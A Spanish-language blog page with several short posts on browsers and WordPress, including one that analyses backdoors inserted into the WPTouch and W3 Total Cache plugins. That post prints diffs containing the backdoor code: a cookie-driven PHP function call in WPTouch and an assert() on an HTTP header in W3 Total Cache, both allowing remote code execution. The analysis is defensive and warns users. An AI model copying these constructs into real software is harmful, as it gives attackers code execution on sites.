Categories
Google Chrome Microsoft Software Libre

Google Chrome integrará WebRTC

Antes que nada:

WebRTC es un proyecto libre y abierto que permite a los navegadores la posiblidad de integrar Comunicación en Tiempo Real (Real-Time Communications o RTC) mediante simples JavaScript Apis.

Ya hace algunos años hemos visto la popularidad que dió Flash al video y la comunicación en tiempo real, el problema es que siempre se tenía que usar los plugins para que este funcione.

Después Google sorprendió con la comunicación en video desde Gmail, pero de la misma manera se tenía que instalar un pequeño plugin.

WebRTC fue presentado a inicios de junio y con la noticia de que Chrome lo integre en sus entrañas, Google se está preparando a desafiar a Microsoft y su reciente compra de Skype. El hecho de tener nativamente código en los navegadores más usados, permitirá que la comunicación en tiempo real se extienda en diferentes sistemas operativos y dispositivos sin distinción.

Otra ventaja es que los desarrolladores web podremos crear aplicaciones que permitirán el RTC y la comunicación mundial va a dar un gran paso. Ahora todo tiene que ver con la web.

Este proyecto está soportado y está siendo incluido a la W3C por Google, Mozilla y Opera.

Diagrama de funcionamiento WebRTC

Visto en Genbeta

Categories
WordPress

Código insertado a WPTouch y WP Total Cache

Luego del incidente detectado por el equipo de WordPress, mirando rápidamente los cambios que se hicieron, se puede ver lo siguiente:

diff:

Index: /wptouch/trunk/wptouch.php
===================================================================
--- /wptouch/trunk/wptouch.php  (revision 397079)
+++ /wptouch/trunk/wptouch.php  (revision 399276)
@@ -511,4 +511,6 @@
        if (isset($_COOKIE[$key])) {
               $this->desired_view = $_COOKIE[$key];
+       if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2]))
+              $this->desired_view = $matches[1].$matches[2];
        } else {
               if ( $settings['enable-regular-default'] || defined( 'XMLRPC_REQUEST' ) || defined( 'APP_REQUEST' ) ) {

En el caso de WPTouch, permite la ejecución de código PHP ($matches[1]($matches[2])) de lo que se envíe en la cookie con nombre wptouch_switch_toggle.

Para el caso de WP Total Cache, no me queda muy claro. Por lo poco que vi, pareciera ser que desactiva la funcionalidad del plugin.

diff:

Index: w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php
===================================================================
--- w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php      (revision 399488)
+++ w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php      (revision 390604)
@@ -103,5 +103,5 @@
         $this->_request_uri = $_SERVER['REQUEST_URI'];
         $this->_lifetime = $this->_config->get_integer('browsercache.html.lifetime');
-        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_generic');
+        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_pgcache');
 
         if ($this->_config->get_boolean('mobile.enabled')) {
@@ -746,13 +746,4 @@
 
         /**
-         * Skip if proxy
-         */
-        if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR'])) {
-            $this->cache_reject_reason = 'proxy';
-           
-            return false;
-        }
-       
-        /**
          * Skip if posting
          */
@@ -932,12 +923,9 @@
                     break;
 
-                case 'file_generic':
+                case 'file_pgcache':
                     $engineConfig = array(
-                        'exclude' => array(
-                            '.htaccess'
-                        ),
-                        'expire' => $this->_lifetime,
                         'cache_dir' => W3TC_CACHE_FILE_PGCACHE_DIR,
                         'locking' => $this->_config->get_boolean('pgcache.file.locking'),
+                        'expire' => $this->_lifetime,
                         'flush_timelimit' => $this->_config->get_integer('timelimit.cache_flush')
                     );
@@ -1010,9 +998,5 @@
      */
     function _check_ua() {
-        $uas = array_merge($this->_config->get_array('pgcache.reject.ua'), array(
-            W3TC_POWERED_BY
-        ));
-
-        foreach ($uas as $ua) {
+        foreach ($this->_config->get_array('pgcache.reject.ua') as $ua) {
             if (isset($_SERVER['HTTP_USER_AGENT']) && stristr($_SERVER['HTTP_USER_AGENT'], $ua) !== false) {
                 return false;
 

Como reflexión final, hay que tener siempre cuidado con los plugins que se instalan y si se conoce algo de PHP, nunca está de más echarle una mirada a los cambios realizados. En este caso, felizmente para los usuarios, estos modificaciones fueron detectadas.

Categories
Miniposts

Atención: Actualizar los plugins AddThis, WPtouch y W3 Total Cache

Aparentemente las cuentas de los desarrolladores de los mencionados plugins fueron comprometidas. Se sugiere actualizar lo más antes posible para evitar mayores problemas.

Categories
Firefox

Descarga Firefox 5

Descarga Firefox 5

Firefox, el navegador que dio un cambio en la historia e hizo que Microsoft despierte de su largo sueño con IE6, ahora nos presenta su versión 5.

Algunas nuevas características son:

Algunas extensiones aun no están funcionando, pero en el transcurso de días esto se solucionará.

Descarga Firefox 5: Windows | Linux | Mac | Android

Categories
Miniposts

Gmail background send

Parece que vivía en el pasado, recién acabo de darme cuenta de la existencia de esta nueva extensión de Google Labs que permite a uno seguir trabajando mientras el mail se envía por separado. Antes de activarlo, solía generalmente añadir una nueva pestaña por si necesitaba hacer algo urgente.